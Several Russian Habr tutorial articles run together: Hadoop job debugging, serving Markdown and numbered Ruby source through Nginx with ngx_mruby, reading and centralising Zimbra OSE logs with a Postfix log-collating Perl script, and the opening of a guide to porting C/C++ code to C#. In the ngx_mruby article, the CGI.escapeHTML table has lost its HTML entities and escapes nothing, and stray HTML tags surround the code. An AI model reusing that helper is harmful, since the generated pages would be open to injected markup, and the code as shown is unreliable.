В [pseudo-distributed](http://hadoop.apache.org/common/docs/current/quickstart.html#PseudoDistributed) режиме Hadoop ближе к тому состоянию, в котором он будет работать в production (а мы, соответственно, ближе к той головной боли, которую будем иметь когда что-то все-таки сломается). Отличие заключается в том, что map/reduce задачи выполняются в отдельных процессах, HDFS уже «настоящая» (а не имитирована локальной файловой системой — хотя и расположена всего на одном узле), и отлаживать это все труднее. То есть можно, конечно же, применить подход, описанный выше к старту новых процессов, но я это сделать не пытался и есть подозрение, что без модификации кода самого Hadoop это попросту не сработает.
Есть два основных подхода к решению задачи отладки в таком режиме — один из них использование локального таск-трекера, а другой — `IsolationRunner`'а. Сразу скажем, что первый вариант может дать лишь очень приблизительные результаты, поскольку ноды будут другие и весь код будет выполняться в одном процессе (как в предыдущем варианте). Второй же вариант дает очень точное приближение реальной работы, но — увы и ах, невозможен в том случае, если у вас нет доступа на конкретные Task Nodes (что в случае больших production cluster'ов весьма и весьма вероятно).
Итак, [IsolationRunner](http://hadoop.apache.org/common/docs/r0.18.3/mapred_tutorial.html#IsolationRunner) это вспомогательный класс, который позволяет максимально точно имитировать процесс выполнения конкретной задачи (Task), по сути, *повторяя* его исполнение. Для того, чтобы воспользоваться им, нужно сделать несколько телодвижений:
1. Установить значение `keep.failed.tasks.files` в `true` в конфигурации задачи (job configuration). В зависимости от того, как именно вы формируете свою задачу, это может быть сделано либо редактированием XML файла, либо в тексте программы, но, в любой случае, это несложно. Этим вы даете инструкцию task tracker'у, что если задача была завершена с ошибкой, не надо удалять ее конфигурацию и данные.
2. Дальше официальное руководство рекомендует отправиться на тот узел, на котором задача была завершена с ошибкой. В нашем случае — это все еще наш локальный (или не очень локальный, но все равно один-единственный) хост; директория, где находится taskTracker, зависит от конфигурации, но в режиме «по умолчанию» это скорее всего будет `hadoop/bin`. Нагло скопируем пример из руководства:
```
$ cd /taskTracker/${taskid}/work
$ bin/hadoop org.apache.hadoop.mapred.IsolationRunner ../job.xml
```
В нашем случае мы можем и должны заменить `bin/hadoop` на `bin/hdebug`, который мы создали выше (ну и понятно, что путь относительный будет каким-то другим ;-) ). Как результат — мы отлаживаем упавший таск, работая с именно теми данными, которые привели к его падению. Просто, красиво, удобно.
3. Подключаемся отладчиком, действуем, находим ошибку, радуемся
Как я уже заметил выше, этот способ будет гарантированно работать в pseudo-distributed mode, но также он отлично сработает если у вас есть доступ к узлам map/reduce (это практически идеальная ситуация). Но есть еще и третий сценарий, самый сложный…
Сценарий третий: production cluster
-----------------------------------
Вы на настоящем, «боевом» кластере, в котором за тыщу машин, и никто вам не даст права залогиниться на одну из них, кроме специально предназначенных для этого шлюзов — gateway machines (отсюда и название gateway code, потому что на них он и выполняется). Все по-взрослому, хотя вы все еще работаете на тестовом «маленьком» наборе данных в пол-терабайта, но головная боль с отладкой уже встает в полный рост. Здесь, пожалуй, будет уместно повторить совет про логгинг — если вы его еще не делаете, то сделайте. Как минимум это позволит вам частично локализовать пролему, и, возможно, вы сумеете использовать один из двух вышеперечисленных способов чтобы ее идентифицировать и решить. Здесь нет простого способа отладки, который даст предсказуемые результаты. Строго говоря, все, что вы можете сделать, это заставить вашу задачу выполняться локально, на шлюзе — в этом случае вы будете работать с настоящей production HDFS, но точно воспроизвести поведение на конкретных узлах, скорее всего, не сможете.
Все, что вам нужно сделать для локального выполнения задачи, это установить `mapred.job.tracker` в значение `local` (в конфигурации задачи). Теперь вы, при некотором везении, сможете подключиться отладчиком (впрочем, скорее всего не вашим любимым Eclipse'ом, а чем-то консольным, запущенным в той же сети — или прокинув SSH туннель, если это доступно) и выполнять ваш код на шлюзе. Из плюсов — вы работаете с настоящими данными на настоящем HDFS. Из минусов — если ошибка плавающая и воспроизводится, не дай Б-г, только на одном-двух узлах кластера, черта с два вы ее найдете. В сухом остатке — это лучшее, чего вы можете добиться без общения с командой поддержки кластера и запросом временного доступа на конкретный узел.
Заключение
----------
Итак, вот вам немного информации к размышлению на тему, каким непростым делом может быть отладка map/reduce приложений. Нисколько не отрицая всего вышеперечисленного, я бы рекомендовал следующую стратегию:
1. Расставьте отладочные сообщения по всему коду задачи — сперва редко (примерно), потом более часто, когда станет понятно, что падает таск, скажем, между 100 и 350 строкой
2. Попытайтесь воспроизвести проблему на локальном Хадупе — очень часто это получится успешно, и вы сможете разобраться в чем дело
3. Проверьте, есть ли у вас доступ на конкретные map/reduce узлы. Узнайте, реально ли его получить (хотя бы временно и не на все)
4. Применяйте отладку методом пристального взгляда! Серьезно, это работает — только лучше, если взгляд не ваш: часто сторонний человек может увидеть баг за три секунды, когда ты уже к нему «присмотрелся» и не замечаешь в упор
5. Если ничего не помогает — используйте разные комбинации описанных выше приемов. Хотя бы один из них сработает обязательно.
Удачной отладки!
P.S. написано по мотивам моего старинного [поста](http://sigizmund.com/debugging-hadoop-applications-using-your-eclipse/) и недельной отладки hadoop-приложения, Java-библиотеки и JNI, ее поддерживающей. Кроме того, привет Умпутуну и Бобуку, которые своим 179 выпуском РТ и рассказом про map/reduce напомнили мне, что есть вещи (хоть их и немного) в которых я разбираюсь и могу о них рассказать ;-) | https://habr.com/ru/post/89365/ | null | ru | null |
# Интеграция Ruby в Nginx
Уже достаточно давно существует всем известная связка Nginx + Lua, в том числе здесь был ряд статей. Но время не стоит на месте. Примерно год назад появилась первая версия модуля, интегрирующего Ruby в Nginx.
#### MRuby
Для интеграции был выбран не полноценный Ruby, а его подмножество, которое предназначено для встраивания в другие приложения, устройства и тд. Имеет некоторые ограничения, но в остальном полноценный Ruby. Проект называется [MRuby](http://mruby.org). На текущий момент имеет уже версию 1.0.0, т.е. считается стабильным.
MRuby не позволяет подключать другие файлы во время выполнения, поэтому вся программа должна быть в одном файле. При этом есть возможность преобразовать программу в байткод и выполнять уже его, что положительно сказывается на производительности.
Т.к. нет возможности подгружать другие файлы, то и существующие gem-ы не подходят для него. Для расширения функционала используется свой формат, который представляет из себя как C код, так и Ruby местами. Данные модули собираются вместе с самой библиотекой во время компиляции и являются ее неотъемлемой частью. Имеются биндинги к различным базам данных, для работы с файлами, сетью и так далее. Полный список доступен на сайте.
Также там имеется модуль, позволяющий интегрировать данный движок в Nginx, который особенно заинтересовал.
#### ngx\_mruby
Итак, знакомьтесь: [ngx\_mruby](http://ngx.mruby.org/). Модуль для подключения ruby скриптов к nginx. Имеет схожий функционал с Lua версией. Позволяет выполнять операции на различных этапах обработки запроса.
Модуль собирается довольно просто, на сайте есть подробная инструкция. Кто не хочет заморачиваться со сборкой, могут скачать готовый пакет:
<http://mruby.ajieks.ru/st/nginx_1.4.4-1~mruby~precise_amd64.deb>
MRuby в данной сборке содержит следующие дополнительные модули:
* [github.com/iij/mruby-io](https://github.com/iij/mruby-io)
* [github.com/iij/mruby-env](https://github.com/iij/mruby-env)
* [github.com/iij/mruby-dir](https://github.com/iij/mruby-dir)
* [github.com/iij/mruby-process](https://github.com/iij/mruby-process)
* [github.com/iij/mruby-pack](https://github.com/iij/mruby-pack)
* [github.com/iij/mruby-digest](https://github.com/iij/mruby-digest)
* [github.com/mattn/mruby-json](https://github.com/mattn/mruby-json)
* [github.com/matsumoto-r/mruby-redis](https://github.com/matsumoto-r/mruby-redis)
* [github.com/matsumoto-r/mruby-vedis](https://github.com/matsumoto-r/mruby-vedis)
* [github.com/matsumoto-r/mruby-sleep](https://github.com/matsumoto-r/mruby-sleep)
* [github.com/matsumoto-r/mruby-userdata](https://github.com/matsumoto-r/mruby-userdata)
* [github.com/matsumoto-r/mruby-uname](https://github.com/matsumoto-r/mruby-uname)
* [github.com/mattn/mruby-onig-regexp](https://github.com/mattn/mruby-onig-regexp)
* [github.com/matsumoto-r/mruby-discount](https://github.com/matsumoto-r/mruby-discount)
Как видите, есть почти все необходимое для работы. Единственное, что не обнаружил в API данного модуля, это возможности делать запрос наружу. Скорее всего, его нужно будет реализовать как расширение и сделать обвязку вокруг nginx API.
Автор показывает красивый график с тестами, но конфигурации окружения так и не нашел. Поэтому просто приложу его для красоты:
#### Попробуем использовать
Итак, сервер у нас уже установлен. Все функционирует, статика отдается. Добавим немного к этому динамики.
В качестве примера я выбрал задачу по парсингу Markdown разметки и отдачи ее в HTML без дополнительного серверного приложения. А также нумерации строк в исходниках на Ruby.
Для этого сделан клон репозитория sinatra и настроен nginx для решения поставленной задачи.
##### Markdown
Для обработки разметки воспользуемся подключенным в сборку модулем mruby-discount. Он предоставляет простой класс для работы с разметкой. В основе лежит одноименная библиотека на C, потому вопрос производительности, думаю, особо стоять не будет.
Для начала напишем программу, которая будет считывать запрошенный файл с диска, обрабатывать его и отдавать пользователю.
```
r = Nginx::Request.new
m = Discount.new("/st/style.css", "README")
filename = r.filename
filename = File.join(filename, 'README.md') if filename.end_with?('/')
markdown = File.exists?(filename) ? File.read(filename) : ''
Nginx.rputs m.header
Nginx.rputs m.md2html(markdown)
Nginx.rputs m.footer
```
Первой строкой получаем экземпляр объекта запроса, содержащий всю необходимую информацию, включая запрошенный файл, заголовки, URL, URI и т.д.
Следующей строкой создаем экземпляр класса Discount, указывая файл стиля и заголовк страницы.
Данный код не делает обработку 404 ошибки, поэтому даже если файла нету, всегда будет 200 код возврата.
Подключаем теперь все это
```
location ~ \.md$ {
add_header Content-Type text/html;
mruby_content_handler "/opt/app/parse_md.rb" cache;
}
```
Результат:
[mruby.ajieks.ru/sinatra](http://mruby.ajieks.ru/sinatra/)
[mruby.ajieks.ru/sinatra/README.ru.md](http://mruby.ajieks.ru/sinatra/README.ru.md)
##### Файлы Ruby
Первоначально планировал сделать не просто нумерацию, а так же раскраску кода, используя когда-то написанный код <https://github.com/fuCtor/chalks>. Однако после всех произведенных адаптаций в его работе возникли проблемы. Код, вроде, работал, но на определенном этапе падал с Segmentation fault. Первоначальное подозрение было на нехватку памяти выделяемой, но даже после уменьшения ее потребление проблема не пропала. После удаления кода, связанного с раскраской, все заработало, но не так красиво, как хотелось.
**Результат изменений**
```
module CGI
TABLE_FOR_ESCAPE_HTML__ = {"&"=>"&", '"'=>""", "<"=>"<", ">"=>">"}
def self.escapeHTML(string)
string.gsub(/[&\"<>]/) do |ch|
TABLE_FOR_ESCAPE_HTML__[ch]
end
end
end
class String
def ord
self.bytes[0]
end
end
class Chalk
COMMENT_START_CHARS = {
ruby: /#./,
cpp: /\/\*|\/\//,
c: /\/\//
}
COMMENT_END_CHARS = {
cpp: /\*\/|.\n/,
ruby: /.\n/,
c: /.\n/,
}
STRING_SEP = %w(' ")
SEPARATORS = " @(){}[],.:;\"\'`<>=+-*/\t\n\\?|&#"
SEPARATORS_RX = /[@\(\)\{\}\[\],\.\:;"'`\<\>=\+\-\*\/\t\n\\\?\|\&#]/
def initialize(file)
@filename = file
@file = File.new(file)
@rnd = Random.new(file.hash)
@tokens = {}
reset
end
def parse &block
reset()
@file.read.each_char do |char|
@last_couple = ((@last_couple.size < 2) ? @last_couple : @last_couple[1]) + char
case(@state)
when :source
if start_comment?(@last_couple)
@state = :comment
elsif STRING_SEP.include?(char)
@string_started_with = char
@state = :string
else
process_entity(&block) if (@entity.length == 1 && SEPARATORS.index(@entity)) || SEPARATORS.index(char)
end
when :comment
process_entity(:source, &block) if end_comment?(@last_couple)
when :string
if (STRING_SEP.include?(char) && @string_started_with == char)
@entity += char
process_entity(:source, &block)
char = ''
elsif char == '\\'
@state = :escaped_char
else
end
when :escaped_char
@state = :string
end
@entity += char
end
end
def to_html(&block)
html = ''
if block
block.call( '<table><tr><td><pre>' )
else
html = '<table><tr><td><pre>'
end
line_n = 1
@file.readlines.each do
if block
block.call( "<a href='#'><b>#{line_n}</b></a>\n" )
else
html += "<a href='#'><b>#{line_n}</b></a>\n"
end
line_n += 1
end
@file = File.open(@filename)
if block
block.call( '</pre></td><td><pre>' )
else
html += '</pre></td><td><pre>'
end
parse do |entity, type|
entity = entity.gsub("\t", ' ')
if block
block.call( entity )
#block.call(highlight( entity , type))
else
html += entity
#html += highlight( entity , type)
end
end
if block
block.call( '</pre><td></tr></table>' )
else
html + '</pre><td></tr></table>'
end
end
def language
@language ||= case(@file.path.to_s.split('.').last.to_sym)
when :rb
:ruby
when :cpp, :hpp
:cpp
when :c, :h
:c
when :py
:python
else
@file.path.to_s.split('.').last.to_s
end
end
private
def process_entity(new_state = nil, &block)
block.call @entity, @state if block
@entity = ''
@state = new_state if new_state
end
def reset
@file = File.open(@filename) if @file
@state = :source
@string_started_with = ''
@entity = ''
@last_couple = ''
end
def color(entity)
entity = entity.strip
entity.gsub! SEPARATORS_RX, ''
token = ''
return token if entity.empty?
#return token if token = @tokens[entity]
return '' if entity[0].ord >= 128
rgb = [ @rnd.rand(150) + 100, @rnd.rand(150) + 100, @rnd.rand(150) + 100 ]
token = String.sprintf("#%02X%02X%02X", rgb[0], rgb[1], rgb[2])
#token = "#%02X%02X%02X" % rgb
#@tokens[entity] = token
return token
end
def highlight(entity, type)
esc_entity = CGI.escapeHTML( entity )
case type
when :string, :comment
"<span class='#{type}'>#{esc_entity}</span>"
else
rgb = color(entity)
if rgb.empty?
esc_entity
else
"<span rel='t#{rgb.hash}' style='color: #{rgb}' >#{esc_entity}</span>"
end
end
end
def start_comment?(char)
rx = COMMENT_START_CHARS[language]
char.match rx if rx
end
def end_comment?(char)
rx = COMMENT_END_CHARS[language]
char.match rx if rx
end
end
</code></pre><br/>
</div></div><br/>
И собственно код, который выполняет чтение файла и нумерацию:<br/>
<pre><code class="ruby">r = Nginx::Request.new
Nginx.rputs '<html><link rel="stylesheet" href="/st/code.css" type="text/css" /><body>'
begin
ch = Chalk.new(r.filename)
data = ch.to_html
Nginx.rputs data
rescue => e
Nginx.rputs e.message
end
Nginx.rputs '</body></html>'
</code></pre><br/>
Подключаем все. Т.к. класс Chalk используется постоянно, подгрузим его заранее:<br/>
mruby_init '/opt/app/init.rb';<br/>
Данная строка добавляется перед server секцией в настройках. Далее уже указываем наш обработчик:<br/>
<pre><code class="nginx"> location ~ \.rb$ {
add_header Content-Type text/html;
mruby_content_handler "/opt/app/parse_code.rb" cache;
}
</code></pre><br/>
Все, теперь можно посмотреть на результат: <a href="http://mruby.ajieks.ru/sinatra/lib/sinatra/main.rb">mruby.ajieks.ru/sinatra/lib/sinatra/main.rb</a><br/>
<br/>
<h4>Заключение</h4><br/>
Таким образом, возможно реализовать расширенную обработку запросов, фильтрацию, кэширование, используя еще один из языков. Готов ли данный модуль для использования в боевых условиях, не знаю. Пока тестировал, бывали зависания всего сервера, но есть вероятность кривизны рук, либо все же не все до конца доработано. Буду следить за развитием проекта. <br/>
<br/>
Желающие могут погонять на производительность указанные в статье скрипты по ссылкам выше.<br/>
Сервер развернут на DigitalOcean на самой простой машине, Ubuntu 12.04 x64. Количество процессов 2, подключений 1024. Никаких дополнительных настроек не делалось. На случай зависания сервера поставил перезагрузку nginx каждые 10 минут.</div>
``` | https://habr.com/ru/post/225313/ | null | ru | null |
# Как работать с логами Zimbra OSE
Логирование всех происходящих событий — одна из наиболее важных функций любой корпоративной системы. Логи позволяют решать возникающие проблемы, проводить аудит работы информационных систем, а также расследовать инциденты информационной безопасности. Zimbra OSE также ведет подробные логи своей работы. В них попадают все данные от производительности сервера до отправки и получения писем пользователями. Однако чтение логов, генерируемых Zimbra OSE, является довольно нетривиальной задачей. В этой статье на конкретном примере мы расскажем вам о том, как читать логи Zimbra OSE, а также о том, как сделать их централизованными.
Все локальные логи Zimbra OSE хранит в папке /opt/zimbra/log, также логи можно найти в файле /var/log/zimbra.log. Наиболее важным из них является mailbox.log. В нем фиксируются все действия, которые происходят почтовом сервере. Среди них передача писем, данные об аутентификации пользователей, неудачные попытки входа и другие. Записи в mailbox.log представляют из себя текстовую строку, в которой содержится время, в которое произошло событие, уровень события, номер потока, в рамках которого происходило событие, имя пользователя и его ip-адрес, а также текстовое описание события.
Уровень лога означает степень влияния события на работу сервера. По умолчанию используется 4 уровня событий: INFO, WARN, ERROR и FATAL. Разберем все уровни по возрастанию их серьезности.
* INFO — события на этом уровне обычно призваны информировать о ходе работы Zimbra OSE. Среди сообщений этого уровня отчеты о создании или удалении почтового ящика и так далее
* WARN — события этого уровня информируют о ситуациях, которые являются потенциально опасными, но на работе сервера не сказываются. Уровнем WARN например помечается сообщение о неудачной попытке входа пользователя.
* ERROR — этот уровень события в логе информирует о возникновении ошибки, которая носит локальный характер и не препятствует работе сервера. Таким уровнем может быть помечена ошибка, при которой индексные данные отдельного пользователя оказались повреждены.
* FATAL — этим уровнем отмечаются ошибки, из-за которых сервер не может продолжать нормально работать. Например уровень FATAL будет у записи о невозможности подключиться к СУБД.
Файл с логами почтового сервера обновляется каждый день. Свежая версия файла всегда имеет имя Mailbox.log, в то время как логи за определенное число имеют дату в названии и содержатся в архиве. Например mailbox.log.2020-09-29.tar.gz. Благодаря этому значительно упрощается резервирование журналов действий и поиск по логам.
Для удобства системного администратора в папке /opt/zimbra/log/ содержатся и другие логи. В них включены только те записи, которые относятся к конкретным элементам Zimbra OSE. Например в audit.log содержатся исключительно записи об аутентификации пользователей, в clamd.log данные о работе антивируса и так далее. Кстати, отличным методом защиты сервера Zimbra OSE от злоумышленников является [защита сервера с помощью Fail2Ban](https://habr.com/ru/company/zimbra/blog/476640/), которая как раз работает на основе audit.log. Также хорошей практикой является добавление cron-задачи на выполнение команды **grep -ir „invalid password“ /opt/zimbra/log/audit.log**, чтобы ежедневно получать информацию о случаях неудачных попыток входа.
**Пример того, как в логе audit.log отображаются дважды неверно введенный пароль и успешная попытка входа**
Логи в Zimbra OSE могут быть крайне полезны при выяснении причин различных критических сбоев. В момент, когда происходит критическая ошибка, администратору обычно не до чтения логов. Требуется как можно скорее восстановить работу сервера. Однако потом, когда сервер вновь работает и генерирует множество логов, найти нужную запись в большом файле бывает непросто. Для того, чтобы быстро найти запись об ошибке, достаточно знать время, в которое сервер был повторно запущен и найти в логах запись датированную этим временем. Предшествующая запись и будет являться записью о произошедшей ошибке. Также можно найти сообщение об ошибке с помощью поиска по ключевому слову FATAL.
Также логи Zimbra OSE позволяют выявлять и некритичные сбои. Например для того, чтобы найти исключения обработчика, можно осуществить поиск по фразе handler exception. Нередко ошибки, которые генерирует обработчики сопровождаются трассировкой стека, в которой поясняется, что стало причиной возникновения исключения. В случае ошибок с доставкой почты стоит начать поиски с ключевого слова LmtpServer, а для поиска ошибок связанных с протоколами POP или IMAP можно использовать ключевые слова ImapServer и Pop3Server.
Также логи могут помочь при расследовании инцидентов информационной безопасности. Рассмотрим конкретный пример. 20 сентября один из сотрудников отправил клиенту зараженное вирусом письмо. В результате данные на компьютере клиента оказались зашифрованы. Однако сотрудник клянется, что он ничего не отправлял. В рамках расследования инцидента служба безопасности предприятия запрашивает у системного администратора логи почтового сервера за 20 сентября, связанные с пользователем, в отношении которого проводится расследование. Благодаря временной отметке системный администратор находит нужный файл с логами, извлекает нужную информацию и передает её безопасникам. Те, в свою очередь, просматривают её и обнаруживают, что IP-адрес, с которого было отправлено данное письмо соответствует IP-адресу компьютера пользователя. Записи камер видеонаблюдения подтвердили, что работник во время отправки письма находился на своем рабочем месте. Этих данных хватило для того, чтобы обвинить его в нарушении правил информационной безопасности и уволить.
**Пример извлечения записей об одной из учетных записей из лога Mailbox.log в отдельный файл**
Всё значительно усложняется в тот момент, когда речь идет о многосерверной инфраструктуре. Поскольку логи собираются локально, работать с ними в условиях мультисерверной инфраструктуры очень неудобно и поэтому возникает необходимость централизации сбора логов. Сделать это можно за счет настройки хоста для сбора логов. Особой необходимости добавлять в инфраструктуру выделенный хост нет. В качестве узла для сбора логов может выступать любой почтовый сервер. В нашем случае это будет узел Mailstore01.
На этом сервере нам необходимо ввести приведенные ниже команды:
```
sudo su – zimbra
zmcontrol stop
exit
sudo /opt/zimbra/libexec/zmfixperms -e -v
```
Отредактируйте файл /etc/sysconfig/rsyslog, и установите параметр SYSLOGD\_OPTIONS=”-r -c 2″
Отредактируйте /etc/rsyslog.conf и раскомментируйте следующие строки:
**$ModLoad imudp
$UDPServerRun 514**
Введите следующие команды:
```
sudo /etc/init.d/rsyslog stop
sudo /etc/init.d/rsyslog start
sudo su – zimbra
zmcontrol start
exit
sudo /opt/zimbra/libexec/zmloggerinit
sudo /opt/zimbra/bin/zmsshkeygen
sudo /opt/zimbra/bin/zmupdateauthkeys
```
Проверить, что все работает можно с помощью команды zmprov gacf | grep zimbraLogHostname. После исполнения команды должно отобразиться имя хоста, который осуществляет сбор логов. Для того, чтобы его изменить, необходимо ввести команду zmprov mcf zimbraLogHostname mailstore01.company.ru.
На всех остальных серверах инфраструктуры (LDAP, MTA и других почтовых хранилищах) выполните команду zmprov gacf |grep zimbraLogHostname, чтобы увидеть название хоста, на которые уходят логи. Чтобы его изменить также можно ввести команду zmprov mcf zimbraLogHostname mailstore01.company.ru
Также на каждом сервере необходимо ввести следующие команды:
```
sudo su - zimbra
/opt/zimbra/bin/zmsshkeygen
/opt/zimbra/bin/zmupdateauthkeys
exit
sudo /opt/zimbra/libexec/zmsyslogsetup
sudo service rsyslog restart
sudo su - zimbra
zmcontrol restart
```
После этого все логи будут записываться на указанном вами сервере, где их можно будет удобно просматривать. Также в консоли администратора Zimbra OSE на экране с информацией о состоянии серверов, запущенная служба Logger будет отображаться только у сервера mailstore01.
Еще одной головной болью для администратора может стать отслеживание определенного электронного сообщения. Поскольку электронные письма в Zimbra OSE проходят сразу несколько различных событий: проверка антивирусом, антиспамом и так далее, перед тем как быть принятыми или отправленными, для администратора, в случае если электронное письмо не доходит, может быть достаточно проблематично проследить, на каком этапе оно потерялось.
Для того, чтобы решить эту проблему, можно воспользоваться специальным скриптом, который разработан специалистом по информационной безопасности Виктором Духовным и рекомендован для использования разработчиками Postfix. Данный скрипт конкатенирует записи из логов по определенному процессу и за счет этого позволяет быстро отобразить все записи, связанные с отправкой того или иного письма на основе его идентификатора. Его работа протестирована на всех версиях Zimbra OSE, начиная с 8.7. Приводим текст скрипта.
```
#! /usr/bin/perl
use strict;
use warnings;
# Postfix delivery agents
my @agents = qw(discard error lmtp local pipe smtp virtual);
my $instre = qr{(?x)
\A # Absolute line start
(?:\S+ \s+){3} # Timestamp, adjust for other time formats
\S+ \s+ # Hostname
(postfix(?:-[^/\s]+)?) # Capture instance name stopping before first '/'
(?:/\S+)* # Optional non-captured '/'-delimited qualifiers
/ # Final '/' before the daemon program name
};
my $cmdpidre = qr{(?x)
\G # Continue from previous match
(\S+)\[(\d+)\]:\s+ # command[pid]:
};
my %smtpd;
my %smtp;
my %transaction;
my $i = 0;
my %seqno;
my %isagent = map { ($_, 1) } @agents;
while (<>) {
next unless m{$instre}ogc; my $inst = $1;
next unless m{$cmdpidre}ogc; my $command = $1; my $pid = $2;
if ($command eq "smtpd") {
if (m{\Gconnect from }gc) {
# Start new log
$smtpd{$pid}->{"log"} = $_; next;
}
$smtpd{$pid}->{"log"} .= $_;
if (m{\G(\w+): client=}gc) {
# Fresh transaction
my $qid = "$inst/$1";
$smtpd{$pid}->{"qid"} = $qid;
$transaction{$qid} = $smtpd{$pid}->{"log"};
$seqno{$qid} = ++$i;
next;
}
my $qid = $smtpd{$pid}->{"qid"};
$transaction{$qid} .= $_
if (defined($qid) && exists $transaction{$qid});
delete $smtpd{$pid} if (m{\Gdisconnect from}gc);
next;
}
if ($command eq "pickup") {
if (m{\G(\w+): uid=}gc) {
my $qid = "$inst/$1";
$transaction{$qid} = $_;
$seqno{$qid} = ++$i;
}
next;
}
# bounce(8) logs transaction start after cleanup(8) already logged
# the message-id, so the cleanup log entry may be first
#
if ($command eq "cleanup") {
next unless (m{\G(\w+): }gc);
my $qid = "$inst/$1";
$transaction{$qid} .= $_;
$seqno{$qid} = ++$i if (! exists $seqno{$qid});
next;
}
if ($command eq "qmgr") {
next unless (m{\G(\w+): }gc);
my $qid = "$inst/$1";
if (defined($transaction{$qid})) {
$transaction{$qid} .= $_;
if (m{\Gremoved$}gc) {
print delete $transaction{$qid}, "\n";
}
}
next;
}
# Save pre-delivery messages for smtp(8) and lmtp(8)
#
if ($command eq "smtp" || $command eq "lmtp") {
$smtp{$pid} .= $_;
if (m{\G(\w+): to=}gc) {
my $qid = "$inst/$1";
if (defined($transaction{$qid})) {
$transaction{$qid} .= $smtp{$pid};
}
delete $smtp{$pid};
}
next;
}
if ($command eq "bounce") {
if (m{\G(\w+): .*? notification: (\w+)$}gc) {
my $qid = "$inst/$1";
my $newid = "$inst/$2";
if (defined($transaction{$qid})) {
$transaction{$qid} .= $_;
}
$transaction{$newid} =
$_ . $transaction{$newid};
$seqno{$newid} = ++$i if (! exists $seqno{$newid});
}
next;
}
if ($isagent{$command}) {
if (m{\G(\w+): to=}gc) {
my $qid = "$inst/$1";
if (defined($transaction{$qid})) {
$transaction{$qid} .= $_;
}
}
next;
}
}
# Dump logs of incomplete transactions.
foreach my $qid (sort {$seqno{$a} <=> $seqno{$b}} keys %transaction) {
print $transaction{$qid}, "\n";
}
```
Cкрипт написан на Perl и для его запуска необходимо сохранить его в файл **collate.pl**, сделать его исполняемым, а затем запустить файл с указанием файла логов и с помощью pgrep выделить идентификационную информацию искомого письма **collate.pl /var/log/zimbra.log | pgrep '<20200929164500\.user@mail\.company\.ru>'**. Результатом станет последовательный вывод строк, в которых содержится информация о движении письма на сервере.
```
# collate.pl /var/log/zimbra.log | pgrep '<20200929101700\.user@mail\.company\.ru>'
Oct 13 10:17:00 mail postfix/pickup[4089]: 4FF14284F45: uid=1034 from=********
Oct 13 10:17:00 mail postfix/cleanup[26776]: 4FF14284F45: message-id=*******
Oct 13 10:17:00 mail postfix/qmgr[9946]: 4FF14284F45: from=********, size=1387, nrcpt=1 (queue active)
Oct 13 10:17:00 mail postfix/smtp[7516]: Anonymous TLS connection established to mail.*******[168.*.*.4]:25: TLSv1 with cipher ADH-AES256-SHA (256/256 bits)
Oct 13 10:17:00 mail postfix/smtp[7516]: 4FF14284F45: to=*********, relay=mail.*******[168.*.*.4]:25, delay=0.25, delays=0.02/0.02/0.16/0.06, dsn=2.0.0, status=sent (250 2.0.0 Ok: queued as 878833424CF)
Oct 13 10:17:00 mail postfix/qmgr[9946]: 4FF14284F45: removed
Oct 13 10:17:07 mail postfix/smtpd[21777]: connect from zimbra.******[168.*.*.4]
Oct 13 10:17:07 mail postfix/smtpd[21777]: Anonymous TLS connection established from zimbra.******[168.*.*.4]: TLSv1 with cipher ADH-AES256-SHA (256/256 bits)
Oct 13 10:17:08 mail postfix/smtpd[21777]: 0CB69282F4E: client=zimbra.******[168.*.*.4]
Oct 13 10:17:08 mail postfix/cleanup[26776]: 0CB69282F4E: message-id=zimbra.******
Oct 13 10:17:08 mail postfix/qmgr[9946]: 0CB69282F4E: from=zimbra.******, size=3606, nrcpt=1 (queue active)
Oct 13 10:17:08 mail postfix/virtual[5291]: 0CB69282F4E: to=zimbra.******, orig_to=zimbra.******, relay=virtual, delay=0.03, delays=0.02/0/0/0.01, dsn=2.0.0, status=sent (delivered to maildir)
Oct 13 10:17:08 mail postfix/qmgr[9946]: 0CB69282F4E: removed
```
По всем вопросам, связанными c Zextras Suite вы можете обратиться к Представителю компании «Zextras» Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com | https://habr.com/ru/post/523238/ | null | ru | null |
# Затачиваем старый код под новые реалии
В данной статье я расскажу об одном из способов, позволяющих с наименьшими усилиями трансформировать программный код на C/C++ в код, написанный на C#. Впрочем, рассказанные принципы подойдут и для других пар языков. Хочу сразу оговориться, что способ не рассчитан на трансформацию кода, реализующего GUI.
Для чего это делать? К примеру, я таким образом портировал известную графическую библиотеку LibTiff (и LibJpeg заодно) на C#. Это позволило использовать наработки многих людей, создававших LibTiff, в моей программе вместе с библиотекой классов .NET Framework. Примеры кода в статье будут в основном из LibTiff и LibJpeg.
#### 1. Инфраструктура
Что потребуется:
* Оригинальный код, который вы можете собрать «за один клик».
* Набор тестов, который также можно выполнить «за один клик».
* Система контроля версий.
* Базовые понятия о рефакторинге.
Требования собирать за «один клик» и выполнять «за один клик» нужны для того, чтобы максимально ускорить цикл «изменили-скомпилировали-запустили тесты». Чем больше усилий требуется для выполнения одного такого цикла, тем реже он будет выполняться. Это может привести к сложным и масштабным откатам неудачных изменений.
Система контроля версий подойдет любая. Я в работе использую Subversion – вы, в свою очередь, можете использовать то, что вам удобно. Главное использовать хоть что-то кроме папок на диске.
Тесты потребуются для того, чтобы в любой момент времени убедиться, что код все еще делает то, что должен, и так же, как раньше. Уверенность в том, что код функционально не меняется, – главное отличие описываемого метода от метода «напишем все с нуля на новом языке». От тестов не требуется покрывать 100% кода, но для всего основного функционала желательно тесты иметь. Желательно, чтобы тесты не имели доступ к внутреннему устройству программы, это позволит избежать постоянного переписывания тестов.
Например, для портирования LibTiff я использовал:
* набор изображений в разных вариантах формата TIFF.
* консольную программу tiffcp, которая конвертирует изображения из одного варианта TIFF в другой вариант.
* набор скриптов (bat-файлы), которые вызывают tiffcp для конвертирования.
* набор ожидаемых выходных изображений.
* программу для бинарного сравнения изображений, полученных после конвертирования, с ожидаемыми изображениями.
О рефакторинге достаточно прочитать всего одну книгу. Это книга Мартина Фаулера «Рефакторинг. Улучшение существующего кода». Если вы ее не читали, то прочтите обязательно – для любого программиста знание принципов рефакторинга только полезно. Всю книгу читать не обязательно. Достаточно прочитать около 130 страниц от начала. Это первые пять частей и начало шестой части, до раздела «Встраивание метода».
Разумеется, чем лучше вы знаете языки, между которыми будет трансформироваться код, тем легче вам будет. Заметьте, что знание устройства оригинального кода не требуется. Для начала достаточно знать что делает исходный код. Как он это делает, станет ясно в процессе трансформации.
#### 2. Процесс переноса
